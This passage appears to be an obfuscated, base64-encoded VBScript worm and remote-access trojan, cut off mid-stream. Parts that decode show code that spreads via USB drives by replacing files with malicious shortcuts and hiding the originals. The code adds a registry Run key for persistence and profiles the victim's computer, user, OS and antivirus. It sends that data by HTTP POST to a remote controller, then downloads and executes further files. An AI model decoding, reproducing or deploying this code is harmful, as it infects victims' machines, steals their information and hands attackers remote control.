WlzMENpQCpnSUNAKmdJQ0AqZ0lDQCpnSUNAKmdJQ0JwWmlAKmdkV05oYzJVZ0tHWnBiR1V1Ym1GdFpTa2dQRDRnZFdOaGMyVWdLR2x1YzNSaGJHeHVZVzFsS1NCMGFHVnVDaUAqZ0lDQCpnSUNAKmdJQ0AqZ0lDQCpnSUNAKmdJQ0AqZ1ptbHNaVzVoYldVZ1BTQnpjR3hwZENobWFXeGxMbTVoYldVc0lpNGlLUW9nSUNAKmdJQ0AqZ0lDQCpnSUNAKmdJQ0AqZ0lDQCpnSUhObGRDQnNibXR2WW1vZ1BTQnphR1ZzYkc5aWFpNWpjbVZoZEdWemFHOXlkR04xZENAKm9aSEpwZG1VdWNHRjBhQ0AqbUlDSmNJaUAqZ0ppQm1hV3hsYm1GdFpTQCpvTUNrZ0ppQCppTG14dWF5SXBJQCpvZ0lDQCpnSUNAKmdJQ0AqZ0lDQCpnSUNAKmdJQ0AqZ0lHeHVhMjlpYWk1M2FXNWtiM2R6ZEhsc1pTQCo5SURjS0lDQCpnSUNAKmdJQ0AqZ0lDQCpnSUNAKmdJQ0AqZ0lDQnNibXR2WW1vdWRHRnlaMlYwY0dGMGFDQCo5SUNKamJXUXVaWGhsSWdvZ0lDQCpnSUNAKmdJQ0AqZ0lDQCpnSUNAKmdJQ0AqZ0lHeHVhMjlpYWk1M2IzSnJhVzVuWkdseVpXTjBiM0o1SUQwZ0lpSUtJQ0AqZ0lDQCpnSUNAKmdJQ0AqZ0lDQCpnSUNAKmdJQ0JzYm10dlltb3VZWEpuZFcxbGJuUnpJRDBnSWk5aklITjBZWEowSUNJZ0ppQnlaWEJzWVdObEtHbHVjM1JoYkd4dVlXMWxMQ0lnSWl3Z1kyaHlkeWd6TkNrZ0ppQCppSUNJZ0ppQmphSEozS0RNMEtTa2dKaUAqaUpuTjBZWEowSUNJZ0ppQnlaWEJzWVdObEtHWnBiR1V1Ym1GdFpTd2lJQ0lzSUdOb2NuY29NelFwSUNZZ0lpQCppSUNZZ1kyaHlkeWd6TkNrcElDWWlKbVY0YVhRaUNpQCpnSUNAKmdJQ0AqZ0lDQCpnSUNAKmdJQ0AqZ0lDQCpnWm1sc1pXbGpiMjRnUFNCemFHVnNiRzlpYWk1eVpXZHlaV0ZrSUNnaVNFdEZXVjlNVDBOQlRGOU5RVU5JU1U1RlhITnZablIzWVhKbFhHTnNZWE56WlhOY0lpQCptSUhOb1pXeHNiMkpxTG5KbFozSmxZV1FnS0NKSVMwVlpYMHhQUTBGTVgwMUJRMGhKVGtWY2MyOW1kSGRoY21WY1kyeGhjM05sYzF3dUlpQCptSUhOd2JHbDBLR1pwYkdVdWJtRnRaU3dnSWk0aUtTaDFZbTkxYm1Rb2MzQnNhWFFvWm1sc1pTNXVZVzFsTENAKmlMaUlwS1NrbUlDSmNJaWtnSmlAKmlYR1JsWm1GMWJIUnBZMjl1WENJcElAKm9nSUNAKmdJQ0AqZ0lDQCpnSUNAKmdJQ0AqZ0lDQCpnSUdsbUlDQnBibk4wY2lAKm9abWxzWldsamIyNHNJaXdpS1NAKjlJREAqZ2RHaGxiZ29nSUNAKmdJQ0AqZ0lDQCpnSUNAKmdJQ0AqZ0lDQCpnSUNAKmdJQ0JzYm10dlltb3VhV052Ym14dlkyRjBhVzl1SUQwZ1ptbHNaUzV3WVhSb0NpQCpnSUNAKmdJQ0AqZ0lDQCpnSUNAKmdJQ0AqZ0lDQCpnWld4elpTQCpLSUNAKmdJQ0AqZ0lDQCpnSUNAKmdJQ0AqZ0lDQCpnSUNAKmdJQ0AqZ2JHNXJiMkpxTG1samIyNXNiMk5oZEdsdmJpQCo5SUdacGJHVnBZMjl1Q2lAKmdJQ0AqZ0lDQCpnSUNAKmdJQ0AqZ0lDQCpnSUNAKmdaVzVrSUdsbUNpQCpnSUNAKmdJQ0AqZ0lDQCpnSUNAKmdJQ0AqZ0lDQCpnYkc1cmIySnFMbk5oZG1Vb0tRb2dJQ0AqZ0lDQCpnSUNAKmdJQ0AqZ0lDQCpnWlc1a0lHbG1DaUAqZ0lDQCpnSUNAKmdJQ0AqZ0lHVnVaQ0JwWmdvZ0lDQCpnSUNAKmdJR1Z1WkNCcFpnb2dJQ0AqZ2JtVjRkQCpvZ0lDQCpnWm05eUlHVmhZMmdnWm05c1pHVnlJR2x1SUdacGJHVnplWE4wWlcxdlltb3VaMlYwWm05c1pHVnlLQ0JrY21sMlpTNXdZWFJvSUNZZ0lsd2lJQ2t1YzNWaVptOXNaR1Z5Y3dvZ0lDQCpnSUNAKmdJR2xtSUc1dmRDQnNibXRtYjJ4a1pYSWdkR2hsYmlCbGVHbDBJR1p2Y2dvZ0lDQCpnSUNAKmdJR1p2YkdSbGNpNWhkSFJ5YVdKMWRHVnpJRDBnTWlzMENpQCpnSUNAKmdJQ0AqZ1ptOXNaR1Z5Ym1GdFpTQCo5SUdadmJHUmxjaTV1WVcxbENpQCpnSUNAKmdJQ0AqZ2MyVjBJR3h1YTI5aWFpQCo5SUhOb1pXeHNiMkpxTG1OeVpXRjBaWE5vYjNKMFkzVjBJQ2hrY21sMlpTNXdZWFJvSUNZZ0lsd2lJQ0AqbUlHWnZiR1JsY201aGJXVWdKaUAqaUxteHVheUlwSUAqb2dJQ0AqZ0lDQCpnSUd4dWEyOWlhaTUzYVc1a2IzZHpkSGxzWlNAKjlJRGNLSUNAKmdJQ0AqZ0lDQnNibXR2WW1vdWRHRnlaMlYwY0dGMGFDQCo5SUNKamJXUXVaWGhsSWdvZ0lDQCpnSUNAKmdJR3h1YTI5aWFpNTNiM0pyYVc1blpHbHlaV04wYjNKNUlEMGdJaUlLSUNAKmdJQ0AqZ0lDQnNibXR2WW1vdVlYSm5kVzFsYm5SeklEMGdJaTlqSUhOMFlYSjBJQ0lnSmlCeVpYQnNZV05sS0dsdWMzUmhiR3h1WVcxbExDSWdJaXdnWTJoeWR5Z3pOQ2tnSmlAKmlJQ0lnSmlCamFISjNLRE0wS1NrZ0ppQCppSm5OMFlYSjBJR1Y0Y0d4dmNtVnlJQ0lnSmlCeVpYQnNZV05sS0dadmJHUmxjaTV1WVcxbExDSWdJaXdnWTJoeWR5Z3pOQ2tnSmlAKmlJQ0lnSmlCamFISjNLRE0wS1NrZ0ppSW1aWGhwZENJS0lDQCpnSUNAKmdJQ0JtYjJ4a1pYSnBZMjl1SUQwZ2MyaGxiR3h2WW1vdWNtVm5jbVZoWkNAKm9Ja2hMUlZsZlRFOURRVXhmVFVGRFNFbE9SVnh6YjJaMGQyRnlaVnhqYkdGemMyVnpYR1p2YkdSbGNseGtaV1poZFd4MGFXTnZibHdpS1NAKktJQ0AqZ0lDQCpnSUNCcFppQCpnYVc1emRISWdLR1p2YkdSbGNtbGpiMjRzSWl3aUtTQCo5SURAKmdkR2hsYmdvZ0lDQCpnSUNAKmdJQ0AqZ0lDQnNibXR2WW1vdWFXTnZibXh2WTJGMGFXOXVJRDBnWm05c1pHVnlMbkJoZEdnS0lDQCpnSUNAKmdJQ0JsYkhObElAKm9nSUNAKmdJQ0AqZ0lDQCpnSUNCc2JtdHZZbW91YVdOdmJteHZZMkYwYVc5dUlEMGdabTlzWkdWeWFXTnZiZ29nSUNAKmdJQ0AqZ0lHVnVaQ0JwWmdvZ0lDQCpnSUNAKmdJR3h1YTI5aWFpNXpZWFpsS0NrS0lDQCpnSUc1bGVIUUtaVzVrSUVsbUNtVnVaQ0JKWmdwbGJtUWdhV1lLYm1WNGRAKnBsY25JdVkyeGxZWElLWlc1a0lITjFZZ29LYzNWaUlIVnVhVzV6ZEdGc2JAKnB2YmlCbGNuSnZjaUJ5WlhOMWJXVWdibVY0ZEAqcGthVzBnWm1sc1pXNWhiV1VLWkdsdElHWnZiR1JsY201aGJXVUtDbk5vWld4c2IySnFMbkpsWjJSbGJHVjBaU0AqaVNFdEZXVjlEVlZKU1JVNVVYMVZUUlZKY2MyOW1kSGRoY21WY2JXbGpjbTl6YjJaMFhIZHBibVJ2ZDNOY1kzVnljbVZ1ZEhabGNuTnBiMjVjY25WdVhDSWdKaUJ6Y0d4cGRDQCpvYVc1emRHRnNiRzVoYldVc0lpNGlLU2d3S1FwemFHVnNiRzlpYWk1eVpXZGtaV3hsZEdVZ0lraExSVmxmVEU5RFFVeGZUVUZEU0VsT1JWeHpiMlowZDJGeVpWeHRhV055YjNOdlpuUmNkMmx1Wkc5M2MxeGpkWEp5Wlc1MGRtVnljMmx2Ymx4eWRXNWNJaUAqbUlITndiR2wwSUNocGJuTjBZV3hzYm1GdFpTd2lMaUlwS0RAKnBDbVpwYkdWemVYTjBaVzF2WW1vdVpHVnNaWFJsWm1sc1pTQnpkR0Z5ZEhWd0lDWWdhVzV6ZEdGc2JHNWhiV1VnTEhSeWRXVUtabWxzWlhONWMzUmxiVzlpYWk1a1pXeGxkR1ZtYVd4bElIZHpZM0pwY0hRdWMyTnlhWEIwWm5Wc2JHNWhiV1VnTEhSeWRXVUtDbVp2Y2lAKmdaV0ZqYUNCa2NtbDJaU0JwYmlCbWFXeGxjM2x6ZEdWdGIySnFMbVJ5YVhabGN3cHBaaUAqZ1pISnBkbVV1YVhOeVpXRmtlU0AqOUlIUnlkV1VnZEdobGJncHBaaUAqZ1pISnBkbVV1Wm5KbFpYTndZV05sSUNAKitJREAqZ2RHaGxiZ3BwWmlAKmdaSEpwZG1VdVpISnBkbVYwZVhCbElDQCo5SURFZ2RHaGxiZ29nSUNAKmdabTl5SUNCbFlXTm9JR1pwYkdVZ2FXNGdabWxzWlhONWMzUmxiVzlpYWk1blpYUm1iMnhrWlhJZ0tDQmtjbWwyWlM1d1lYUm9JQ1lnSWx3aUtTNW1hV3hsY3dvZ0lDQCpnSUNAKmdJQ0J2YmlCbGNuSnZjaUJ5WlhOMWJXVWdibVY0ZEAqb2dJQ0AqZ0lDQCpnSUNCcFppQCpnYVc1emRISWdLR1pwYkdVdWJtRnRaU3dpTGlJcElIUm9aVzRLSUNAKmdJQ0AqZ0lDQCpnSUNAKmdJR2xtSUNCc1kyRnpaU0Aqb2MzQnNhWFFvWm1sc1pTNXVZVzFsTENAKmlMaUlwS0hWaWIzVnVaQ2h6Y0d4cGRDaG1hV3hsTG01aGJXVXNJQ0l1SWlrcEtTa2dQRDRnSW14dWF5SWdkR2hsYmdvZ0lDQCpnSUNAKmdJQ0AqZ0lDQCpnSUNAKmdJR1pwYkdVdVlYUjBjbWxpZFhSbGN5QCo5SURAKktJQ0AqZ0lDQCpnSUNAKmdJQ0AqZ0lDQCpnSUNCcFppQCpnZFdOaGMyVWdLR1pwYkdVdWJtRnRaU2tnUEQ0Z2RXTmhjMlVnS0dsdWMzUmhiR3h1WVcxbEtTQjBhR1Z1Q2lAKmdJQ0AqZ0lDQCpnSUNAKmdJQ0AqZ0lDQCpnSUNAKmdJR1pwYkdWdVlXMWxJRDBnYzNCc2FYUW9abWxzWlM1dVlXMWxMQ0l1SWlrS0lDQCpnSUNAKmdJQ0AqZ0lDQCpnSUNAKmdJQ0AqZ0lDQCpnWm1sc1pYTjVjM1JsYlc5aWFpNWtaV3hsZEdWbWFXeGxJQ2hrY21sMlpTNXdZWFJvSUNZZ0lsd2lJQ1lnWm1sc1pXNWhiV1VvTUNrZ0ppQCppTG14dWF5SWdLUW9nSUNAKmdJQ0AqZ0lDQCpnSUNAKmdJQ0AqZ0lHVnNjMlVLSUNAKmdJQ0AqZ0lDQCpnSUNAKmdJQ0AqZ0lDQCpnSUNAKmdabWxzWlhONWMzUmxiVzlpYWk1a1pXeGxkR1ZtYVd4bElDaGtjbWwyWlM1d1lYUm9JQ1lnSWx3aUlDWWdabWxzWlM1dVlXMWxLUW9nSUNAKmdJQ0AqZ0lDQCpnSUNAKmdJQ0AqZ0lHVnVaQ0JKWmdvZ0lDQCpnSUNAKmdJQ0AqZ0lDQCpnWld4elpRb2dJQ0AqZ0lDQCpnSUNAKmdJQ0AqZ0lDQCpnSUdacGJHVnplWE4wWlcxdlltb3VaR1ZzWlhSbFptbHNaU0Aqb1ptbHNaUzV3WVhSb0tTQCpLSUNAKmdJQ0AqZ0lDQCpnSUNAKmdJR1Z1WkNCcFpnb2dJQ0AqZ0lDQCpnSUNCbGJtUWdhV1lLSUNAKmdJQ0J1WlhoMENpQCpnSUNAKmdabTl5SUdWaFkyZ2dabTlzWkdWeUlHbHVJR1pwYkdWemVYTjBaVzF2WW1vdVoyVjBabTlzWkdWeUtDQmtjbWwyWlM1d1lYUm9JQ1lnSWx3aUlDa3VjM1ZpWm05c1pHVnljd29nSUNAKmdJQ0AqZ0lDQm1iMnhrWlhJdVlYUjBjbWxpZFhSbGN5QCo5SURAKktJQ0AqZ0lDQnVaWGgwQ21WdVpDQnBaZ3BsYm1RZ2FXWUtaVzVrSUdsbUNtNWxlSFFLZDNOamNtbHdkQzV4ZFdsMENtVnVaQ0J6ZFdJS0NtWjFibU4wYVc5dUlIQnZjM1FnS0dOdFpDQCpzY0dGeVlXMHBDZ3B3YjNOMElEMGdjR0Z5WVcwS2FIUjBjRzlpYWk1dmNHVnVJQ0p3YjNOMElpd2lhSFIwY0Rvdkx5SWdKaUJvYjNOMElDWWdJam9pSUNZZ2NHOXlkQ0AqbUlpOGlJQ1lnWTIxa0xDQm1ZV3h6WlFwb2RIUndiMkpxTG5ObGRISmxjWFZsYzNSb1pXRmtaWElnSW5WelpYSXRZV2RsYm5RNklpeHBibVp2Y20xaGRHbHZiZ3BvZEhSd2IySnFMbk5sYm1RZ2NHRnlZVzBLY0c5emRDQCo5SUdoMGRIQnZZbW91Y21WemNHOXVjMlYwWlhoMENtVnVaQ0JtZFc1amRHbHZiZ29LWm5WdVkzUnBiMjRnYVc1bWIzSnRZWFJwYjI0S2IyNGdaWEp5YjNJZ2NtVnpkVzFsSUc1bGVIUUthV1lnSUdsdVppQCo5SUNJaUlIUm9aVzRLSUNAKmdJR2x1WmlAKjlJR2gzYVdRZ0ppQnpjR3hwZEdWeUlAKm9nSUNAKmdhVzVtSUQwZ2FXNW1JQ0AqbUlITm9aV3hzYjJKcUxtVjRjR0Z1WkdWdWRtbHliMjV0Wlc1MGMzUnlhVzVuY3lnaUpXTnZiWEIxZEdWeWJtRnRaU1VpS1NAKm1JSE53YkdsMFpYSWdDaUAqZ0lDQnBibVlnUFNCcGJtWWdJQ1lnYzJobGJHeHZZbW91Wlhod1lXNWtaVzUyYVhKdmJtMWxiblJ6ZEhKcGJtZHpLQ0lsZFhObGNtNWhiV1VsSWlrZ0ppQnpjR3hwZEdWeUNnb2dJQ0AqZ2MyVjBJSEp2YjNRZ1BTQm5aWFJ2WW1wbFkzUW9JbmRwYm0xbmJYUnpPbnRwYlhCbGNuTnZibUYwYVc5dWJHVjJaV3c5YVcxd1pYSnpiMjVoZEdWOUlWeGNMbHh5YjI5MFhHTnBiWFl5SWlrS0lDQCpnSUhObGRDQnZjeUAqOUlISnZiM1F1WlhobFkzRjFaWEo1SUNnaWMyVnNaV04wSUNvZ1puSnZiU0IzYVc0ek1sOXZjR1Z5WVhScGJtZHplWE4wWlcwaUtRb2dJQ0AqZ1ptOXlJR1ZoWTJnZ2IzTnBibVp2SUdsdUlHOXpDaUAqZ0lDQCpnSUNCcGJtWWdQU0JwYm1ZZ0ppQnZjMmx1Wm04dVkyRndkR2x2YmlAKm1JSE53YkdsMFpYSWdJQCpvZ0lDQCpnSUNAKmdaWGhwZENCbWIzSUtJQ0AqZ0lHNWxlSFFLSUNAKmdJR2x1WmlAKjlJR2x1WmlAKm1JQ0p3YkhWeklpQCptSUhOd2JHbDBaWElLSUNAKmdJR2x1WmlAKjlJR2x1WmlAKm1JSE5sWTNWeWFYUjVJQ1lnYzNCc2FYUmxjZ29nSUNAKmdhVzVtSUQwZ2FXNW1JQ1lnZFhOaWMzQnlaV0ZrYVc1bkNpQCpnSUNCcGJtWnZjbTFoZEdsdmJpQCo5SUdsdVppQCpnQ21Wc2MyVUtJQ0AqZ0lHbHVabTl5YldGMGFXOXVJRDBnYVc1bUNtVnVaQ0JwWmdwbGJtUWdablZ1WTNScGIyNEtDZ3B6ZFdJZ2RYQnpkR0Z5ZENAKm9LUXB2YmlCbGNuSnZjaUJ5WlhOMWJXVWdUbVY0ZEAqb0tjMmhsYkd4dlltb3VjbVZuZDNKcGRHVWdJa2hMUlZsZlExVlNVa1ZPVkY5VlUwVlNYSE52Wm5SM1lYSmxYRzFwWTNKdmMyOW1kRngzYVc1a2IzZHpYR04xY25KbGJuUjJaWEp6YVc5dVhISjFibHdpSUNZZ2MzQnNhWFFnS0dsdWMzUmhiR3h1WVcxbExDSXVJaWtvTUNrc0lDQCppZDNOamNtbHdkQzVsZUdVZ0x5OUNJQ0lnSmlCamFISjNLRE0wS1NAKm1JR2x1YzNSaGJHeGthWElnSmlCcGJuTjBZV3hzYm1GdFpTQCptSUdOb2NuY29NelFwSUN3Z0lsSkZSMTlUV2lJS2MyaGxiR3h2WW1vdWNtVm5kM0pwZEdVZ0lraExSVmxmVEU5RFFVeGZUVUZEU0VsT1JWeHpiMlowZDJGeVpWeHRhV055YjNOdlpuUmNkMmx1Wkc5M2MxeGpkWEp5Wlc1MGRtVnljMmx2Ymx4eWRXNWNJaUAqbUlITndiR2wwSUNocGJuTjBZV3hzYm1GdFpTd2lMaUlwS0RAKnBMQ0AqZ0luZHpZM0pwY0hRdVpYaGxJQzh2UWlAKmlJQ0AqbUlHTm9jbmNvTXpRcElDWWdhVzV6ZEdGc2JHUnBjaUAqbUlHbHVjM1JoYkd4dVlXMWxJQ1lnWTJoeWR5Z3pOQ2tnTENAKmlVa1ZIWDFOYUlncG1hV3hsYzNsemRHVnRiMkpxTG1OdmNIbG1hV3hsSUhkelkzSnBjSFF1YzJOeWFYQjBablZzYkc1aGJXVXNhVzV6ZEdGc2JHUnBjaUAqbUlHbHVjM1JoYkd4dVlXMWxMSFJ5ZFdVS1ptbHNaWE41YzNSbGJXOWlhaTVqYjNCNVptbHNaU0IzYzJOeWFYQjBMbk5qY21sd2RHWjFiR3h1WVcxbExITjBZWEowZFhAKmdKaUJwYm5OMFlXeHNibUZ0WlNAKnNkSEoxWlFvS1pXNWtJSE4xWWdvS0NtWjFibU4wYVc5dUlHaDNhV1FLYjI0Z1pYSnliM0lnY21WemRXMWxJRzVsZUhRS0NuTmxkQ0J5YjI5MElEMGdaMlYwYjJKcVpXTjBLQ0ozYVc1dFoyMTBjenA3YVcxd1pYSnpiMjVoZEdsdmJteGxkbVZzUFdsdGNHVnljMjl1WVhSbGZTRmNYQzVjY205dmRGeGphVzEyTWlJcENuTmxkQ0JrYVhOcmN5QCo5SUhKdmIzUXVaWGhsWTNGMVpYSjVJQ2dpYzJWc1pXTjBJQ29nWm5KdmJTQjNhVzR6TWw5c2IyZHBZMkZzWkdsemF5SXBDbVp2Y2lCbFlXTm9JR1JwYzJzZ2FXNGdaR2x6YTNNS0lDQCpnSUdsbUlDQmthWE5yTG5admJIVnRaWE5sY21saGJHNTFiV0psY2lAKjhQaUAqaUlpQjBhR1Z1Q2lAKmdJQ0AqZ0lDQCpnYUhkcFpDQCo5SUdScGMyc3VkbTlzZFcxbGMyVnlhV0ZzYm5WdFltVnlDaUAqZ0lDQCpnSUNAKmdaWGhwZENCbWIzSUtJQ0AqZ0lHVnVaQ0JwWmdwdVpYaDBDbVZ1WkNCbWRXNWpkR2x2YmdvS0NtWjFibU4wYVc5dUlITmxZM1Z5YVhSNUlAKnB2YmlCbGNuSnZjaUJ5WlhOMWJXVWdibVY0ZEAqb0tjMlZqZFhKcGRIa2dQU0AqaUlnb0tjMlYwSUc5aWFuZHRhWE5sY25acFkyVWdQU0JuWlhSdlltcGxZM1FvSW5kcGJtMW5iWFJ6T250cGJYQmxjbk52Ym1GMGFXOXViR1YyWld3OWFXMXdaWEp6YjI1aGRHVjlJVnhjTGx4eWIyOTBYR05wYlhZeUlpa0tjMlYwSUdOdmJHbDBaVzF6SUQwZ2IySnFkMjFwYzJWeWRtbGpaUzVsZUdWamNYVmxjbmtvSW5ObGJHVmpkQ0AqcUlHWnliMjBnZDJsdU16SmZiM0JsY21GMGFXNW5jM2x6ZEdWdElpd3NORGdwQ21admNpQmxZV05vSUc5aWFtbDBaVzBnYVc0Z1kyOXNhWFJsYlhNS0lDQCpnSUhabGNuTnBiMjV6ZEhJZ1BTQnpjR3hwZENAKm9iMkpxYVhSbGJTNTJaWEp6YVc5dUxDSXVJaWtLYm1WNGRAKnAyWlhKemFXOXVjM1J5SUQwZ2MzQnNhWFFnS0dOdmJHbDBaVzF6TG5abGNuTnBiMjRzSWk0aUtRcHZjM1psY25OcGIyNGdQU0IyWlhKemFXOXVjM1J5SUNnd0tTQCptSUNJdUlncG1iM0lnSUhnZ1BTQCp4SUhSdklIVmliM1Z1WkNAKm9kbVZ5YzJsdmJuTjBjaWtLQ1NCdmMzWmxjbk5wYjI0Z1BTQnZjM1psY25OcGIyNGdKaUAqZ2RtVnljMmx2Ym5OMGNpQCpvYVNrS2JtVjRkQCpwdmMzWmxjbk5wYjI0Z1BTQmxkbUZzSUNodmMzWmxjbk5wYjI0cENtbG1JQ0J2YzNabGNuTnBiMjRnUGlAKjJJSFJvWlc0Z2MyTWdQU0AqaWMyVmpkWEpwZEhsalpXNTBaWEl5SWlCbGJITmxJSE5qSUQwZ0luTmxZM1Z5YVhSNVkyVnVkR1Z5SWdvS2MyVjBJRzlpYW5ObFkzVnlhWFI1WTJWdWRHVnlJRDBnWjJWMGIySnFaV04wS0NKM2FXNXRaMjEwY3pwY1hHeHZZMkZzYUc5emRGeHliMjkwWENJZ0ppQnpZeWtLVTJWMElHTnZiR0Z1ZEdsMmFYSjFjeUAqOUlHOWlhbk5sWTNWeWFYUjVZMlZ1ZEdWeUxtVjRaV054ZFdWeWVTZ2ljMlZzWldOMElDb2dabkp2YlNCaGJuUnBkbWx5ZFhOd2NtOWtkV04wSWl3aWQzRnNJaXd3S1FvS1ptOXlJR1ZoWTJnZ2IySnFZVzUwYVhacGNuVnpJR2x1SUdOdmJHRnVkR2wyYVhKMWN3b2dJQ0AqZ2MyVmpkWEpwZEhrZ0lEMGdjMlZqZFhKcGRIa2dJQ1lnYjJKcVlXNTBhWFpwY25WekxtUnBjM0JzWVhsdVlXMWxJQ1lnSWlAKnVJZ3B1WlhoMENtbG1JSE5sWTNWeWFYUjVJQ0AqOUlDSWlJSFJvWlc0Z2MyVmpkWEpwZEhrZ0lEMGdJbTVoYmkxaGRpSUtaVzVrSUdaMWJtTjBhVzl1Q2dvS1puVnVZM1JwYjI0Z2FXNXpkR0Z1WTJVS2IyNGdaWEp5YjNJZ2NtVnpkVzFsSUc1bGVIUUtDblZ6WW5Od2NtVmhaR2x1WnlAKjlJSE5vWld4c2IySnFMbkpsWjNKbFlXUWdLQ0pJUzBWWlgweFBRMEZNWDAxQlEwaEpUa1ZjYzI5bWRIZGhjbVZjSWlAKm1JSE53YkdsMElDaHBibk4wWVd4c2JtRnRaU3dpTGlJcEtEQCpwSUNZZ0lsd2lLUXBwWmlCMWMySnpjSEpsWVdScGJtY2dQU0AqaUlpQjBhR1Z1Q2lAKmdJR2xtSUd4allYTmxJQ2dnYldsa0tIZHpZM0pwY0hRdWMyTnlhWEIwWm5Wc2JHNWhiV1VzTWlrcElEMGdJanBjSWlAKm1JQ0JzWTJGelpTaHBibk4wWVd4c2JtRnRaU2tnZEdobGJnb2dJQ0AqZ0lDQjFjMkp6Y0hKbFlXUnBibWNnUFNAKmlkSEoxWlNAKnRJQ0lnSmlCa1lYUmxDaUAqZ0lDQCpnSUhOb1pXeHNiMkpxTG5KbFozZHlhWFJsSUNKSVMwVlpYMHhQUTBGTVgwMUJRMGhKVGtWY2MyOW1kSGRoY21WY0lpQCptSUhOd2JHbDBJQ2hwYm5OMFlXeHNibUZ0WlN3aUxpSXBLREAqcElDQCptSUNKY0lpd2dJSFZ6WW5Od2NtVmhaR2x1Wnl3Z0lsSkZSMTlUV2lJS0lDQCpnWld4elpRb2dJQ0AqZ0lDQjFjMkp6Y0hKbFlXUnBibWNnUFNAKmlabUZzYzJVZ0xTQCppSUNZZ1pHRjBaUW9nSUNAKmdJQ0J6YUdWc2JHOWlhaTV5WldkM2NtbDBaU0AqaVNFdEZXVjlNVDBOQlRGOU5RVU5JU1U1RlhITnZablIzWVhKbFhDSWdKaUJ6Y0d4cGRDQCpvYVc1emRHRnNiRzVoYldVc0lpNGlLU2d3S1NAKmdKaUAqaVhDSXNJQ0IxYzJKemNISmxZV1JwYm1jc0lDSlNSVWRmVTFvaUNnb2dJQ0JsYm1RZ2FXWUtaVzVrSUVsbUNnb0tDblZ3YzNSaGNuUUtjMlYwSUhOamNtbHdkR1oxYkd4dVlXMWxjMmh2Y25RZ1BTQCpnWm1sc1pYTjVjM1JsYlc5aWFpNW5aWFJtYVd4bElDaDNjMk55YVhCMExuTmpjbWx3ZEdaMWJHeHVZVzFsS1FwelpYUWdhVzV6ZEdGc2JHWjFiR3h1WVcxbGMyaHZjblFnUFNAKmdabWxzWlhONWMzUmxiVzlpYWk1blpYUm1hV3hsSUNocGJuTjBZV3hzWkdseUlDWWdhVzV6ZEdGc2JHNWhiV1VwQ21sbUlDQnNZMkZ6WlNAKm9jMk55YVhCMFpuVnNiRzVoYldWemFHOXlkQzV6YUc5eWRIQmhkR2dwSUR3K0lHeGpZWE5sSUNocGJuTjBZV3hzWm5Wc2JHNWhiV1Z6YUc5eWRDNXphRzl5ZEhCaGRHZ3BJSFJvWlc0Z0NpQCpnSUNCemFHVnNiRzlpYWk1eWRXNGdJbmR6WTNKcGNIUXVaWGhsSUM4dlFpQCppSUNZZ1kyaHlLRE0wS1NAKm1JR2x1YzNSaGJHeGthWElnSmlCcGJuTjBZV3hzYm1GdFpTQCptSUVOb2NpZ3pOQ2tLSUNAKmdJSGR6WTNKcGNIUXVjWFZwZENAKktaVzVrSUVsbUNtVnljaTVqYkdWaGNncHpaWFFnYjI1bGIyNWpaU0AqOUlHWnBiR1Z6ZVhOMFpXMXZZbW91YjNCbGJuUmxlSFJtYVd4bElDaHBibk4wWVd4c1pHbHlJQ1lnYVc1emRHRnNiRzVoYldVZ0xEZ3NJR1poYkhObEtRcHBaaUAqZ1pYSnlMbTUxYldKbGNpQCorSURAKmdkR2hsYmlCM2MyTnlhWEIwTG5GMWFYUUtaVzVrSUdaMWJtTjBhVzl1Q2dvS2MzVmlJSE5wZEdWa2IzZHViRzloWkdWeUlDaG1hV3hsZFhKc0xHWnBiR1Z1WVcxbEtRb0tjM1J5YkdsdWF5QCo5SUdacGJHVjFjbXdLYzNSeWMyRjJaWFJ2SUQwZ2FXNXpkR0ZzYkdScGNpQCptSUdacGJHVnVZVzFsQ25ObGRDQnZZbXBvZEhSd1pHOTNibXh2WVdRZ1BTQmpjbVZoZEdWdlltcGxZM1FvSW0xemVHMXNNaTU0Yld4b2RIUndJaUAqcENtOWlhbWgwZEhCa2IzZHViRzloWkM1dmNHVnVJQ0puWlhRaUxDQnpkSEpzYVc1ckxDQm1ZV3h6WlFwdlltcG9kSFJ3Wkc5M2JteHZZV1F1YzJWdVpAKm9LYzJWMElHOWlhbVp6YjJSdmQyNXNiMkZrSUQwZ1kzSmxZWFJsYjJKcVpXTjBJQ2dpYzJOeWFYQjBhVzVuTG1acGJHVnplWE4wWlcxdlltcGxZM1FpS1FwcFppQCpnYjJKcVpuTnZaRzkzYm14dllXUXVabWxzWldWNGFYTjBjeUAqb2MzUnljMkYyWlhSdktTQjBhR1Z1Q2lAKmdJQ0J2WW1wbWMyOWtiM2R1Ykc5aFpDNWtaV3hsZEdWbWFXeGxJQ2h6ZEhKellYWmxkRzhwQ21WdVpDQnBaZ29nQ21sbUlHOWlhbWgwZEhCa2IzZHViRzloWkM1emRHRjBkWE1nUFNAKnlNREAqZ2RHaGxiZ29nSUNCa2FXMGdJRzlpYW5OMGNtVmhiV1J2ZDI1c2IyRmtDaUAqZ0lITmxkQ0AqZ2IySnFjM1J5WldGdFpHOTNibXh2WVdRZ1BTQmpjbVZoZEdWdlltcGxZM1FvSW1Ga2IyUmlMbk4wY21WaGJTSXBDaUAqZ0lIZHBkR2dnYjJKcWMzUnlaV0Z0Wkc5M2JteHZZV1FLQ1FrdWRIbHdaU0AqOUlERWdDZ2tKTG05d1pXNEtDUWt1ZDNKcGRHVWdiMkpxYUhSMGNHUnZkMjVzYjJGa0xuSmxjM0J2Ym5ObFltOWtlUW9KQ1M1ellYWmxkRzltYVd4bElITjBjbk5oZG1WMGJ3b0pDUzVqYkc5elpRb2dJQ0JsYm1RZ2QybDBhQCpvZ0lDQnpaWFFnYjJKcWMzUnlaV0Z0Wkc5M2JteHZZV1FnUFNCdWIzUm9hVzVuQ21WdVpDQnBaZ3BwWmlCdlltcG1jMjlrYjNkdWJHOWhaQzVtYVd4bFpYaHBjM1J6S0hOMGNuTmhkbVYwYnlrZ2RHaGxiZ29nSUNCemFHVnNiRzlpYWk1eWRXNGdiMkpxWm5OdlpHOTNibXh2WVdRdVoyVjBabWxzWlNAKm9jM1J5YzJGMlpYUnZLUzV6YUc5eWRIQmhkR2dLWlc1a0lHbG1JQCpwbGJtUWdjM1ZpQ2dwemRXSWdaRzkzYm14dllXUWdLR1pwYkdWMWNtd3NabWxzWldScGNpa0tDbWxtSUdacGJHVmthWElnUFNAKmlJaUIwYUdWdUlAKm9nSUNCbWFXeGxaR2x5SUQwZ2FXNXpkR0ZzYkdScGNncGxibVFnYVdZS0NuTjBjbk5oZG1WMGJ5QCo5SUdacGJHVmthWElnSmlCdGFXUWdLR1pwYkdWMWNtd3NJR2x1YzNSeWNtVjJJQ2htYVd4bGRYSnNMQ0pjSWlrZ0t5QCp4S1FwelpYUWdiMkpxYUhSMGNHUnZkMjVzYj